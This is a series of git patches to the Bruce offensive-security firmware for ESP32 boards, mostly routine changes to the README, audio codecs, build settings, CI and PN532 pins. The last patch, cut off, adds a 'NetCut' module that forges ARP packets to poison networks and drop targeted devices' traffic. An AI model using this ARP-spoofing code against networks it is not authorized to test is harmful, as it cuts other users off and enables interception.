+| [Bruce RF Reaper](https://www.elecrow.com/bruce-pcb-rf-reaper.html)                                                                                                                         |  :ok:  | :ok:  |   :x:    | :x: but w/ ST25R3916 | :x:  |  :ok:  |  :ok:   |   :x:   |    :ok:    |     :x:      |
 
-*LITE_VERSION*: TelNet, SSH, WireGuard, ScanHosts, RawSniffer, Brucegotchi, BLEBacon, BLEScan and Interpreter are NOT available for M5Launcher Compatibility
+² CYD have a LITE_VERSION version for Launcher Compatibility
+¹ Core, CYD and StickCs Bad-USB: [here](https://wiki.bruce.computer/features/others/#badusb)
 
+_LITE_VERSION_: TelNet, SSH, WireGuard, ScanHosts, RawSniffer, Brucegotchi, BLEBacon, BLEScan and Interpreter are NOT available for M5Launcher Compatibility
 
 ## :sparkles: Why and how does it look?
 
@@ -251,19 +249,18 @@ Other media can be [found here](./media/).
 
 ## :clap: Acknowledgements
 
-+ [@bmorcelli](https://github.com/bmorcelli) for new core and a bunch of new features, also porting to many devices!
-+ [@IncursioHack](https://github.com/IncursioHack) for adding RF and RFID modules features.
-+ [@Luidiblu](https://github.com/Luidiblu) for logo and UI design assistance.
-+ [@eadmaster](https://github.com/eadmaster) for adding a lot of features.
-+ [@rennancockles](https://github.com/rennancockles) for a lot of RFID code, refactoring and others features.
-+ [@7h30th3r0n3](https://github.com/7h30th3r0n3) refactoring and a lot of help with WiFi attacks.
-+ [@Tawank](https://github.com/Tawank) refactoring interpreter among many other things
-+ [@pablonymous]() new RF functions to read RAW Data
-+ [Smoochiee]() for Bruce PCB design.
-+ [TH3_KR4K3N]() for Stick cplus extender PCB design.
-+ Everyone who contributed in some way to the project, thanks :heart:
+- [@bmorcelli](https://github.com/bmorcelli) for new core and a bunch of new features, also porting to many devices!
+- [@IncursioHack](https://github.com/IncursioHack) for adding RF and RFID modules features.
+- [@Luidiblu](https://github.com/Luidiblu) for logo and UI design assistance.
+- [@eadmaster](https://github.com/eadmaster) for adding a lot of features.
+- [@rennancockles](https://github.com/rennancockles) for a lot of RFID code, refactoring and others features.
+- [@7h30th3r0n3](https://github.com/7h30th3r0n3) refactoring and a lot of help with WiFi attacks.
+- [@Tawank](https://github.com/Tawank) refactoring interpreter among many other things
+- [@pablonymous]() new RF functions to read RAW Data
+- [Smoochiee]() for Bruce PCB design.
+- [TH3_KR4K3N]() for Stick cplus extender PCB design.
+- Everyone who contributed in some way to the project, thanks :heart:
 
 ## :construction: Disclaimer
 
 Bruce is a tool for cyber offensive and red team operations, distributed under the terms of the Affero General Public License (AGPL). It is intended for legal and authorized security testing purposes only. Use of this software for any malicious or unauthorized activities is strictly prohibited. By downloading, installing, or using Bruce, you agree to comply with all applicable laws and regulations. This software is provided free of charge, and we do not accept payments for copies or modifications. The developers of Bruce assume no liability for any misuse of the software. Use at your own risk.
-

From ca10c73ce90b4d20a3703072acfb13dd1cf4db1d Mon Sep 17 00:00:00 2001
From: PavelKivy <98866129+PavelKivy@users.noreply.github.com>
Date: Thu, 16 Apr 2026 19:14:38 +0500
Subject: [PATCH 34/73] Fix/m5sticks3 psram audio gif button (#2374)

* set default board

* Fix PSRAM connection

* FIX Reapply stored brightness after post-setup GPIO initialization

* Fix GIF resource management and improve frame playback logic

* Fix tone fuction in js interpreter. Enhance audio codec control for speaker and microphone, adding timer management and improved volume handling

---------

Co-authored-by: Pirata <104320209+bmorcelli@users.noreply.github.com>
---
 boards/_boards_json/m5stack-sticks3.json   |  3 +-
 boards/m5stack-sticks3/interface.cpp       | 71 ++++++++++++++++++++--
 boards/m5stack-sticks3/m5stack-sticks3.ini | 11 ++++
 platformio.ini                             | 21 +++----
 src/core/display.cpp                       | 18 +++---
 src/core/display.h                         |  5 --
 src/main.cpp                               |  3 +
 src/modules/others/audio.cpp               | 18 ++++++
 8 files changed, 117 insertions(+), 33 deletions(-)

diff --git a/boards/_boards_json/m5stack-sticks3.json b/boards/_boards_json/m5stack-sticks3.json
index 0d39c99d7..6d159957c 100644
--- a/boards/_boards_json/m5stack-sticks3.json
+++ b/boards/_boards_json/m5stack-sticks3.json
@@ -2,7 +2,8 @@
     "build": {
       "arduino": {
         "ldscript": "esp32s3_out.ld",
-        "partitions": "default_8MB.csv"
+        "partitions": "default_8MB.csv",
+        "memory_type": "qio_opi"
       },
       "core": "esp32",
       "extra_flags": [
diff --git a/boards/m5stack-sticks3/interface.cpp b/boards/m5stack-sticks3/interface.cpp
index 8be8e8b63..c816a2754 100644
--- a/boards/m5stack-sticks3/interface.cpp
+++ b/boards/m5stack-sticks3/interface.cpp
@@ -221,10 +221,45 @@ bool isCharging() {
 ** location: modules/others/audio.cpp
 ** Handles audio CODEC to enable/disable speaker
 **********************************************************************/
+static TimerHandle_t speaker_off_timer = NULL;
+
+static void speaker_off_timer_cb(TimerHandle_t xTimer) {
+    if (!speaker_off_timer) return;
+    static constexpr const uint8_t disabled_bulk_data[] = {0};
+    i2c_bulk_write(&Wire1, ES8311_ADDR, disabled_bulk_data); // Shutdown ES8311
+    M5.In_I2C.bitOff(0x6E, 0x11, 1 << 3, 100000); // Set gpio3 output low (turn off PA)
+}
+
 void _setup_codec_speaker(bool enable) {
-    M5.Speaker.setVolume(bruceConfig.soundVolume);
-    if (enable) M5.Speaker.begin();
-    else M5.Speaker.end();
+
+    static constexpr const uint8_t enabled_bulk_data[] = {
+        2, 0x00, 0x80, // 0x00 RESET/  CSM POWER ON
+        2, 0x01, 0xB5, // 0x01 CLOCK_MANAGER/ MCLK=BCLK
+        2, 0x02, 0x18, // 0x02 CLOCK_MANAGER/ MULT_PRE=3
+        2, 0x0D, 0x01, // 0x0D SYSTEM/ Power up analog circuitry
+        2, 0x12, 0x00, // 0x12 SYSTEM/ power-up DAC - NOT default
+        2, 0x13, 0x10, // 0x13 SYSTEM/ Enable output to HP drive - NOT default
+        2, 0x32, 0xBF, // 0x32 DAC/ DAC volume (0xBF == +-0 dB )
+        2, 0x37, 0x08, // 0x37 DAC/ Bypass DAC equalizer - NOT default
+        0
+    };
+
+    if (speaker_off_timer == NULL) {
+        speaker_off_timer = xTimerCreate("SpkOffTimer", pdMS_TO_TICKS(100), pdFALSE, (void *)0, speaker_off_timer_cb);
+    }
+
+    if (enable) {
+        if (speaker_off_timer != NULL && xTimerIsTimerActive(speaker_off_timer)) {
+            xTimerStop(speaker_off_timer, 0); // Cancel pending shutdown
+        } else {
+            i2c_bulk_write(&Wire1, ES8311_ADDR, enabled_bulk_data);
+            M5.In_I2C.bitOn(0x6E, 0x11, 1 << 3, 100000); // Set gpio3 output high (turn on PA)
+        }
+    } else {
+        if (speaker_off_timer != NULL) {
+            xTimerReset(speaker_off_timer, 0); // Start/reset shutdown timeout for 100ms
+        }
+    }
 }
 
 /*********************************************************************
@@ -233,8 +268,32 @@ void _setup_codec_speaker(bool enable) {
 ** Handles audio CODEC to enable/disable microphone
 **********************************************************************/
 void _setup_codec_mic(bool enable) {
-    if (enable) M5.Mic.begin();
-    else M5.Mic.end();
-
+    // Set microfone pin for ADV
     mic_bclk_pin = (gpio_num_t)17;
+
+    static constexpr const uint8_t enabled_bulk_data[] = {
+        2, 0x00, 0x80, // 0x00 RESET/  CSM POWER ON
+        2, 0x01, 0xBA, // 0x01 CLOCK_MANAGER/ MCLK=BCLK
+        2, 0x02, 0x18, // 0x02 CLOCK_MANAGER/ MULT_PRE=3
+        2, 0x0D, 0x01, // 0x0D SYSTEM/ Power up analog circuitry
+        2, 0x0E, 0x02, // 0x0E SYSTEM/ : Enable analog PGA, enable ADC modulator
+        2, 0x14, 0x10, // ES8311_ADC_REG14 : select Mic1p-Mic1n / PGA GAIN (minimum)
+        2, 0x17, 0xBF, // ES8311_ADC_REG17 : ADC_VOLUME 0xBF == +- 0 dB
+        2, 0x1C, 0x6A, // ES8311_ADC_REG1C : ADC Equalizer bypass, cancel DC offset in digital domain
+        0
+    };
+    static constexpr const uint8_t disabled_bulk_data[] = {
+        2,
+        0x0D,
+        0xFC, // 0x0D SYSTEM/ Power down analog circuitry
+        2,
+        0x0E,
+        0x6A, // 0x0E SYSTEM
+        2,
+        0x00,
+        0x00, // 0x00 RESET/  CSM POWER DOWN
+        0
+    };
+
+    i2c_bulk_write(&Wire1, ES8311_ADDR, enable ? enabled_bulk_data : disabled_bulk_data);
 }
diff --git a/boards/m5stack-sticks3/m5stack-sticks3.ini b/boards/m5stack-sticks3/m5stack-sticks3.ini
index bae2800ce..6209bce1b 100644
--- a/boards/m5stack-sticks3/m5stack-sticks3.ini
+++ b/boards/m5stack-sticks3/m5stack-sticks3.ini
@@ -10,12 +10,23 @@
 
 [env:m5stack-sticks3]
 board = m5stack-sticks3
+board_build.psram = enabled
+board_build.flash_mode = qio
+board_build.flash_size = 8MB
+board_build.psram_type = opi
 board_build.partitions = custom_8Mb.csv
 build_src_filter =${env.build_src_filter} +<../boards/m5stack-sticks3>
 build_flags =
 	${env.build_flags}
+	-DBOARD_HAS_PSRAM
 	-Iboards/m5stack-sticks3
 	-DCORE_DEBUG_LEVEL=1
+	-DCONFIG_SPIRAM=y
+	-DCONFIG_SPIRAM_MODE_OCT=1
+	-DCONFIG_SPIRAM_TYPE_OPI=1
+	-DCONFIG_SPIRAM_USE_MALLOC=1
+	-DCONFIG_SPIRAM_BOOT_INIT=1
+	-DCONFIG_SPIRAM_ALLOW_BSS_SEG_EXTERNAL_MEMORY=1
 
 	;Features Enabled
 	;-DLITE_VERSION=1 ;limits some features to save space for M5Launcher Compatibility
diff --git a/platformio.ini b/platformio.ini
index cd26b93ce..ad1849148 100644
--- a/platformio.ini
+++ b/platformio.ini
@@ -10,7 +10,7 @@
 
 [platformio]
 default_envs =
-	;m5stack-cardputer
+	m5stack-cardputer
 	;m5stack-sticks3
 	;m5stack-cplus2
 	;m5stack-cplus1_1
@@ -47,7 +47,7 @@ default_envs =
 	;lilygo-t-hmi
 	;lilygo-t-lora-pager
 	;smoochiee-board
-    ;xk404
+  ;xk404
 	;reaper
 	;Phantom_S024R
 	;LAUNCHER_Phantom_S024R
@@ -64,9 +64,9 @@ default_envs =
 	;LAUNCHER_WaveSentry-R1
 	;WaveSentry-R1
 	;esp32-c5-tft
-  	;esp32-c5
-  	;ES3C28P
-	nm-cyd-c5
+  ;esp32-c5
+  ;ES3C28P
+	;nm-cyd-c5
 
 ;uncomment to not use global dirs to avoid possible conflicts
 ;platforms_dir = .pio/platforms
@@ -82,13 +82,14 @@ extra_configs =
 [env]
 platform = https://github.com/pioarduino/platform-espressif32/releases/download/55.03.36/platform-espressif32.zip ; Arduino 3.3.6
            ;https://github.com/pioarduino/platform-espressif32/releases/download/55.03.34/platform-espressif32.zip ; Arduino 3.3.4
-		   ;https://github.com/pioarduino/platform-espressif32/releases/download/stable/platform-espressif32.zip ; Last Version
+		       ;https://github.com/pioarduino/platform-espressif32/releases/download/stable/platform-espressif32.zip ; Last Version
 platform_packages =
     framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20260123-153546.zip ; Arduino 3.3.6
-	;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20251205-131242.zip ; Arduino 3.3.4
-	;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/esp32-arduino-libs-20250919-170356.zip ; Arduino 3.3.1
+	  ;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/bruce_esp32-arduino-libs-20251205-131242.zip ; Arduino 3.3.4
+	  ;framework-arduinoespressif32-libs @ https://github.com/bmorcelli/esp32-arduino-lib-builder/releases/download/idf-release_v5.5/esp32-arduino-libs-20250919-170356.zip ; Arduino 3.3.1
 
 monitor_filters = esp32_exception_decoder, send_on_enter, colorize
+monitor_speed = 115200
 framework = arduino
 board_build.variants_dir = boards
 board_build.filesystem = littlefs
@@ -197,10 +198,6 @@ lib_deps =
 	fastled/FastLED @^3.10.3
 	jgromes/RadioLib @ ^7.4.0
 
-monitor_speed = 115200
-
-
-
 [env_light]
 extends = env
 build_flags =
diff --git a/src/core/display.cpp b/src/core/display.cpp
index f3c92c7e1..83e5f4b04 100644
--- a/src/core/display.cpp
+++ b/src/core/display.cpp
@@ -1299,8 +1299,11 @@ bool showJpeg(const uint8_t *data_array, size_t data_size, int x, int y, bool ce
 Gif::Gif() : gifPosition(0, 0) {}
 
 Gif::~Gif() {
-    gif->close();
-    delete gif;
+    if (gif != nullptr) {
+        gif->close();
+        delete gif;
+        gif = nullptr;
+    }
 }
 
 FS *Gif::GifFs = NULL;
@@ -1440,14 +1443,11 @@ bool Gif::openGIF(FS *fs, const char *filename) {
 // 0 = no more frames exist, a frame may or may not have been played: use getLastError() and look for
 // GIF_SUCCESS to know if a frame was played -1 = error
 int Gif::playFrame(int x, int y, bool bSync) {
-    if (bSync && ((millis() - lTime) >= *delayMilliseconds)) {
-        lTime = millis();
-        gifPosition.x = x;
-        gifPosition.y = y;
-        return gif->playFrame(false, delayMilliseconds, &gifPosition);
-    }
+    if (gif == nullptr) return -1;
 
-    return 2;
+    gifPosition.x = x;
+    gifPosition.y = y;
+    return gif->playFrame(bSync, nullptr, &gifPosition);
 }
 
 int Gif::getLastError() { return gif->getLastError(); }
diff --git a/src/core/display.h b/src/core/display.h
index e887e89f1..9142647e2 100644
--- a/src/core/display.h
+++ b/src/core/display.h
@@ -64,13 +64,8 @@ class Gif {
     AnimatedGIF *gif;
 
 private:
-    unsigned long lTime = millis();
-
     static FS *GifFs;
 
-    int zero = 0;
-    int *delayMilliseconds = &zero;
-
     GifPosition gifPosition;
 
     static void *openFile(const char *fname, int32_t *pSize);
diff --git a/src/main.cpp b/src/main.cpp
index 32373774e..e8c289c52 100644
--- a/src/main.cpp
+++ b/src/main.cpp
@@ -466,6 +466,9 @@ void setup() {
 
     // Some GPIO Settings (such as CYD's brightness control must be set after tft and sdcard)
     _post_setup_gpio();
+    // Some board interfaces initialize or reset the backlight in post-setup,
+    // so re-apply the stored brightness after that stage completes.
+    setBrightness(bruceConfig.bright, false);
     // end of post gpio begin
 
     // #ifndef USE_TFT_eSPI_TOUCH
diff --git a/src/modules/others/audio.cpp b/src/modules/others/audio.cpp
index 1715b87ab..e1e2e098f 100644
--- a/src/modules/others/audio.cpp
+++ b/src/modules/others/audio.cpp
@@ -1,6 +1,10 @@
 #include "audio.h"
 #include "core/mykeyboard.h"
 
+#if __has_include(<M5Unified.h>)
+#include <M5Unified.h>
+#endif
+
 #if defined(HAS_NS4168_SPKR)
 #include "AudioFileSourceFunction.h"
 #include "AudioGeneratorAAC.h"
@@ -654,6 +658,9 @@ void playTone(unsigned int frequency, unsigned long duration, short waveType) {
     _setup_codec_speaker(true);
 
     if (frequency == 0 || duration == 0) {
+        if (frequency == 0 && duration > 0) {
+            delay(duration);
+        }
         _setup_codec_speaker(false);
         return;
     }
@@ -726,6 +733,17 @@ void _tone(unsigned int frequency, unsigned long duration) {
 #if defined(BUZZ_PIN)
     tone(BUZZ_PIN, frequency, duration);
 #elif defined(HAS_NS4168_SPKR)
+#if __has_include(<M5Unified.h>)
+    if (frequency == 0) {
+        if (duration > 0) delay(duration);
+    } else {
+        uint8_t m5vol = (bruceConfig.soundVolume * 255) / AUDIO_VOLUME_MAX;
+        M5.Speaker.setVolume(m5vol);
+        M5.Speaker.tone(frequency, duration);
+        if (duration > 0) delay(duration);
+    }
+#else
     playTone(frequency, duration, 0);
 #endif
+#endif
 }

From 2bdbe3b69be8a151b6436ac234c4a39683404d90 Mon Sep 17 00:00:00 2001
From: Pirata <104320209+bmorcelli@users.noreply.github.com>
Date: Thu, 16 Apr 2026 12:03:10 -0300
Subject: [PATCH 35/73] remove Launcher CPlus1.1 from build

---
 .github/workflows/buil_parallel.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml
index 08fb9432b..e4a3526db 100644
--- a/.github/workflows/buil_parallel.yml
+++ b/.github/workflows/buil_parallel.yml
@@ -21,7 +21,7 @@ jobs:
           - { env: "m5stack-sticks3",                 family: "ESP32-S3",}
           - { env: "m5stack-cplus2",                  family: "ESP32",}
           - { env: "m5stack-cplus1_1",                family: "ESP32",}
-          - { env: "LAUNCHER_m5stack-cplus1_1",       family: "ESP32",}
+          # - { env: "LAUNCHER_m5stack-cplus1_1",       family: "ESP32",}
           - { env: "m5stack-core2",                   family: "ESP32",}
           - { env: "m5stack-core16mb",                family: "ESP32",}
           - { env: "m5stack-core4mb",                 family: "ESP32",}

From 4293ebdf335405d0684673b830d2f72c7db7e9c8 Mon Sep 17 00:00:00 2001
From: Pirata <104320209+bmorcelli@users.noreply.github.com>
Date: Thu, 16 Apr 2026 16:30:04 -0300
Subject: [PATCH 36/73] Add nm-cyd-c5 environment to build workflow

---
 .github/workflows/buil_parallel.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.github/workflows/buil_parallel.yml b/.github/workflows/buil_parallel.yml
index e4a3526db..2623f316e 100644
--- a/.github/workflows/buil_parallel.yml
+++ b/.github/workflows/buil_parallel.yml
@@ -29,6 +29,7 @@ jobs:
           - { env: "esp32-s3-devkitc-1",              family: "ESP32-S3",}
           - { env: "esp32-c5",                        family: "ESP32-C5",}
           - { env: "esp32-c5-tft",                    family: "ESP32-C5",}
+          - { env: "nm-cyd-c5",                       family: "ESP32-C5",}
           - { env: "CYD-2432S028",                    family: "ESP32",}
           - { env: "CYD-2USB",                        family: "ESP32",}
           - { env: "CYD-2432W328C",                   family: "ESP32",}

From 0306b7470bf727bafb0097a67e3d4dbfe96853d6 Mon Sep 17 00:00:00 2001
From: WERKu <werku@werku.org>
Date: Fri, 1 May 2026 21:31:34 +0200
Subject: [PATCH 37/73] config pins add pn532

---
 src/core/configPins.cpp                    | 21 +++++++++++++++++++++
 src/core/configPins.h                      | 13 +++++++++++++
 src/core/serial_commands/util_commands.cpp |  4 ++--
 src/modules/rfid/PN532.cpp                 | 15 +++++++++++----
 4 files changed, 47 insertions(+), 6 deletions(-)

diff --git a/src/core/configPins.cpp b/src/core/configPins.cpp
index af0139652..2f6742b6e 100644
--- a/src/core/configPins.cpp
+++ b/src/core/configPins.cpp
@@ -136,6 +136,17 @@ void BruceConfigPins::fromJson(JsonObject obj) {
         count++;
         log_e("Fail");
     }
+    if (!root["PN532_Pins"].isNull()) {
+        SPIPins def = PN532_bus;
+        PN532_bus.fromJson(root["PN532_Pins"].as<JsonObject>());
+        if (PN532_bus.sck == GPIO_NUM_NC && def.sck != GPIO_NUM_NC) {
+            PN532_bus = def;
+            count++;
+        }
+    } else {
+        count++;
+        log_e("Fail");
+    }
 
     if (!root["SDCard_Pins"].isNull()) {
         SPIPins def = SDCARD_bus;
@@ -220,6 +231,9 @@ void BruceConfigPins::toJson(JsonObject obj) const {
     JsonObject _NRF = root["NRF24_Pins"].to<JsonObject>();
     NRF24_bus.toJson(_NRF);
 
+    JsonObject _PN532 = root["PN532_Pins"].to<JsonObject>();
+    PN532_bus.toJson(_PN532);
+
     JsonObject _SD = root["SDCard_Pins"].to<JsonObject>();
     SDCARD_bus.toJson(_SD);
 
@@ -346,6 +360,7 @@ void BruceConfigPins::validateConfig() {
 #endif
     validateSpiPins(CC1101_bus);
     validateSpiPins(NRF24_bus);
+    validateSpiPins(PN532_bus);
     validateSpiPins(SDCARD_bus);
     validateI2CPins(i2c_bus);
     validateUARTPins(uart_bus);
@@ -375,6 +390,12 @@ void BruceConfigPins::setNrf24Pins(SPIPins value) {
     saveFile();
 }
 
+void BruceConfigPins::setPn532Pins(SPIPins value) {
+    PN532_bus = value;
+    validateSpiPins(PN532_bus);
+    saveFile();
+}
+
 void BruceConfigPins::setSDCardPins(SPIPins value) {
     SDCARD_bus = value;
     validateSpiPins(SDCARD_bus);
diff --git a/src/core/configPins.h b/src/core/configPins.h
index ed4c31678..d7ebd4b1e 100644
--- a/src/core/configPins.h
+++ b/src/core/configPins.h
@@ -135,6 +135,18 @@ class BruceConfigPins {
     SPIPins NRF24_bus;
 #endif
 
+#ifdef PN532_SCK_PIN
+    SPIPins PN532_bus = {
+        (gpio_num_t)PN532_SCK_PIN,
+        (gpio_num_t)PN532_MISO_PIN,
+        (gpio_num_t)PN532_MOSI_PIN,
+        (gpio_num_t)PN532_SS_PIN,
+        (gpio_num_t)PN532_CE_PIN
+    };
+#else
+    SPIPins PN532_bus;
+#endif
+
 #ifdef SDCARD_SCK
     SPIPins SDCARD_bus = {
         (gpio_num_t)SDCARD_SCK, (gpio_num_t)SDCARD_MISO, (gpio_num_t)SDCARD_MOSI, (gpio_num_t)SDCARD_CS
@@ -222,6 +234,7 @@ class BruceConfigPins {
 
     void setCC1101Pins(SPIPins value);
     void setNrf24Pins(SPIPins value);
+    void setPn532Pins(SPIPins value);
     void setSDCardPins(SPIPins value);
 #if !defined(LITE_VERSION)
     void setLoRaPins(SPIPins value);
diff --git a/src/core/serial_commands/util_commands.cpp b/src/core/serial_commands/util_commands.cpp
index 2eb75b929..829d75fbb 100644
--- a/src/core/serial_commands/util_commands.cpp
+++ b/src/core/serial_commands/util_commands.cpp
@@ -107,7 +107,7 @@ uint32_t infoCallback(cmd *c) {
     serialDevice->print("Bruce v");
     serialDevice->println(BRUCE_VERSION);
     serialDevice->println(GIT_COMMIT_HASH);
-    serialDevice->print("SDK: ");              
+    serialDevice->print("SDK: ");
     serialDevice->println(ESP.getSdkVersion());
     serialDevice->println("MAC addr: " + String(WiFi.macAddress()));
     // https://github.com/espressif/arduino-esp32/blob/master/libraries/ESP32/examples/ChipID/GetChipID/GetChipID.ino
@@ -405,7 +405,7 @@ uint32_t loaderCallback(cmd *c) {
         );
         return false;
     }
-
+    
     // TODO: close: Closes the running application.
     // TODO: info: Displays the loader’s state.
     return false;
diff --git a/src/modules/rfid/PN532.cpp b/src/modules/rfid/PN532.cpp
index 89ce4d307..221896d36 100644
--- a/src/modules/rfid/PN532.cpp
+++ b/src/modules/rfid/PN532.cpp
@@ -259,7 +259,13 @@ PN532::PN532(CONNECTION_TYPE connection_type) {
 #ifdef M5STICK
     else if (connection_type == CONNECTION_TYPE::I2C_SPI) nfc.setInterface(GPIO_NUM_26, GPIO_NUM_25);
 #endif
-    else nfc.setInterface(SPI_SCK_PIN, SPI_MISO_PIN, SPI_MOSI_PIN, SPI_SS_PIN);
+    else
+        nfc.setInterface(
+            bruceConfigPins.PN532_bus.sck,
+            bruceConfigPins.PN532_bus.miso,
+            bruceConfigPins.PN532_bus.mosi,
+            bruceConfigPins.PN532_bus.cs
+        );
 }
 
 bool PN532::begin() {
@@ -483,9 +489,10 @@ int PN532::emulate() {
             if (p1 == ApduCommand::C_APDU_P1_SELECT_BY_ID) {
                 if (p2 != 0x0C) {
                     response = kSwOk;
-                } else if (lc == 2 && apdu.size() >= 7 && apdu[ApduCommand::C_APDU_DATA] == 0xE1 &&
-                           (apdu[ApduCommand::C_APDU_DATA + 1] == 0x03 ||
-                            apdu[ApduCommand::C_APDU_DATA + 1] == 0x04)) {
+                } else if (
+                    lc == 2 && apdu.size() >= 7 && apdu[ApduCommand::C_APDU_DATA] == 0xE1 &&
+                    (apdu[ApduCommand::C_APDU_DATA + 1] == 0x03 || apdu[ApduCommand::C_APDU_DATA + 1] == 0x04)
+                ) {
                     currentFile = (apdu[ApduCommand::C_APDU_DATA + 1] == 0x03) ? TagFile::CC : TagFile::NDEF;
                     response = kSwOk;
                 } else {

From 72e752d954f452d3e7468f8120c281cbc8fc6017 Mon Sep 17 00:00:00 2001
From: RyoCuyy <85080933+ryocuy@users.noreply.github.com>
Date: Sun, 3 May 2026 22:43:39 +0700
Subject: [PATCH 38/73] Add NetCut ARP Module for device management

Implement NetCut ARP Module for Bruce Firmware with device scanning, ARP poisoning, and troll functionality.
---
 src/modules/wifi/netcut.cpp | 895 ++++++++++++++++++++++++++++++++++++
 1 file changed, 895 insertions(+)
 create mode 100644 src/modules/wifi/netcut.cpp

diff --git a/src/modules/wifi/netcut.cpp b/src/modules/wifi/netcut.cpp
new file mode 100644
index 000000000..3f419460e
--- /dev/null
+++ b/src/modules/wifi/netcut.cpp
@@ -0,0 +1,895 @@
+/**
+ * @file netcut.cpp
+ * @brief NetCut ARP Module for Bruce Firmware
+ * @description Ported from standalone NetCut ESP32. Uses LwIP netif->linkoutput()
+ *              for safe ARP packet injection. All UI via Bruce loopOptions().
+ */
+
+#include "netcut.h"
+#include "core/mykeyboard.h"
+#include "esp_netif.h"
+#include "esp_netif_net_stack.h"
+#include "esp_private/wifi.h"
+#include "lwip/etharp.h"
+#include "lwip/inet.h"
+#include "lwip/pbuf.h"
+#include "lwip/tcpip.h"
+#include <ArduinoJson.h>
+#include <LittleFS.h>
+#include <esp_wifi.h>
+
+// Forward declarations
+void netcutTrollTimingMenu();
+static void _activeLoop();
+
+// ============================================
+// FILE-SCOPED STATE (no global collision)
+// ============================================
+static NetCutDevice s_devices[NETCUT_MAX_DEVICES];
+static int s_deviceCount = 0;
+static uint8_t s_myMAC[6] = {0};
+static uint8_t s_gatewayMAC[6] = {0};
+static bool s_gwMacValid = false;
+static ip4_addr_t s_gatewayIP = {0};
+static unsigned long s_trollOfflineMs = NETCUT_TROLL_DEFAULT_OFFLINE_MS;
+static unsigned long s_trollOnlineMs = NETCUT_TROLL_DEFAULT_ONLINE_MS;
+
+// Auto-cut/troll flags: newly scanned devices auto-join the attack
+static bool s_cutAllActive = false;
+static bool s_trollAllActive = false;
+// VIP MAC list loaded from LittleFS
+static std::vector<String> s_vipMacs;
+
+// LwIP Hook variables
+static netif_input_fn s_originalInput = nullptr;
+static struct netif *s_hookedNetif = nullptr;
+
+// ============================================
+// INTERNAL: SNI Parser for TLS ClientHello
+// ============================================
+
+
+// ============================================
+// INTERNAL: Layer 2 Forwarding & DNS Sniper Hook
+// ============================================
+static err_t _netcutInputHook(struct pbuf *p, struct netif *inp) {
+    if (!p) return s_originalInput ? s_originalInput(p, inp) : ERR_OK;
+
+    if (p->len >= sizeof(struct eth_hdr)) {
+        struct eth_hdr *eth = (struct eth_hdr *)p->payload;
+
+        // Check if source MAC is in our device list and marked as Cut
+        for (int i = 0; i < s_deviceCount; i++) {
+            if (s_devices[i].isCut && memcmp(eth->src.addr, s_devices[i].macBytes, 6) == 0) {
+                pbuf_free(p);
+                return ERR_OK; // Drop the packet
+            }
+        }
+    }
+    return s_originalInput ? s_originalInput(p, inp) : ERR_OK;
+}
+
+// ============================================
+// INTERNAL: Get WiFi STA netif
+// ============================================
+static struct netif *_getStaNetif() {
+    esp_netif_t *sta = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF");
+    if (!sta) return nullptr;
+    return (struct netif *)esp_netif_get_netif_impl(sta);
+}
+
+
+// ============================================
+// INTERNAL: Send a single ARP packet via LwIP
+// Same pattern as Bruce ARPSpoofer.cpp
+// ============================================
+static void _sendARP(
+    struct netif *iface, const uint8_t *ethDst, const uint8_t *arpSenderMAC, const uint8_t *arpSenderIP,
+    const uint8_t *arpTargetMAC, const uint8_t *arpTargetIP, uint16_t opcode, int repeat
+) {
+    if (!iface || !iface->linkoutput) return;
+
+    struct pbuf *p = pbuf_alloc(PBUF_RAW, sizeof(struct eth_hdr) + sizeof(struct etharp_hdr), PBUF_RAM);
+    if (!p) return;
+
+    struct eth_hdr *eth = (struct eth_hdr *)p->payload;
+    struct etharp_hdr *arp = (struct etharp_hdr *)((u8_t *)p->payload + SIZEOF_ETH_HDR);
+
+    MEMCPY(&eth->dest, ethDst, ETH_HWADDR_LEN);
+    MEMCPY(&eth->src, s_myMAC, ETH_HWADDR_LEN);
+    eth->type = PP_HTONS(ETHTYPE_ARP);
+
+    arp->hwtype = PP_HTONS(1);
+    arp->proto = PP_HTONS(ETHTYPE_IP);
+    arp->hwlen = ETH_HWADDR_LEN;
+    arp->protolen = sizeof(ip4_addr_t);
+    arp->opcode = PP_HTONS(opcode);
+
+    MEMCPY(&arp->shwaddr, arpSenderMAC, ETH_HWADDR_LEN);
+    MEMCPY(&arp->sipaddr, arpSenderIP, sizeof(ip4_addr_t));
+    MEMCPY(&arp->dhwaddr, arpTargetMAC, ETH_HWADDR_LEN);
+    MEMCPY(&arp->dipaddr, arpTargetIP, sizeof(ip4_addr_t));
+
+    for (int i = 0; i < repeat; i++) {
+        esp_wifi_internal_tx(WIFI_IF_STA, p->payload, p->tot_len);
+        if (repeat > 1) { vTaskDelay(pdMS_TO_TICKS(1)); }
+    }
+
+    pbuf_free(p);
+}
+
+// ============================================
+// INTERNAL: Read ARP table into device list
+// ============================================
+static void _readArpTable(struct netif *iface) {
+    for (uint32_t i = 0; i < ARP_TABLE_SIZE; i++) {
+        ip4_addr_t *ip_ret = nullptr;
+        eth_addr *eth_ret = nullptr;
+        struct netif *tmp_if = nullptr;
+
+        if (!etharp_get_entry(i, &ip_ret, &tmp_if, &eth_ret)) continue;
+        if (!ip_ret || !eth_ret) continue;
+
+        // Skip gateway
+        if (ip_ret->addr == s_gatewayIP.addr) {
+            if (!s_gwMacValid) {
+                memcpy(s_gatewayMAC, eth_ret->addr, 6);
+                s_gwMacValid = true;
+            }
+            continue;
+        }
+
+        // Skip broadcast/zero MAC
+        bool allZero = true, allFF = true;
+        for (int b = 0; b < 6; b++) {
+            if (eth_ret->addr[b] != 0x00) allZero = false;
+            if (eth_ret->addr[b] != 0xFF) allFF = false;
+        }
+        if (allZero || allFF) continue;
+
+        // Check if already in list
+        String macStr = macToString(eth_ret->addr);
+        bool exists = false;
+        for (int d = 0; d < s_deviceCount; d++) {
+            if (s_devices[d].macStr == macStr) {
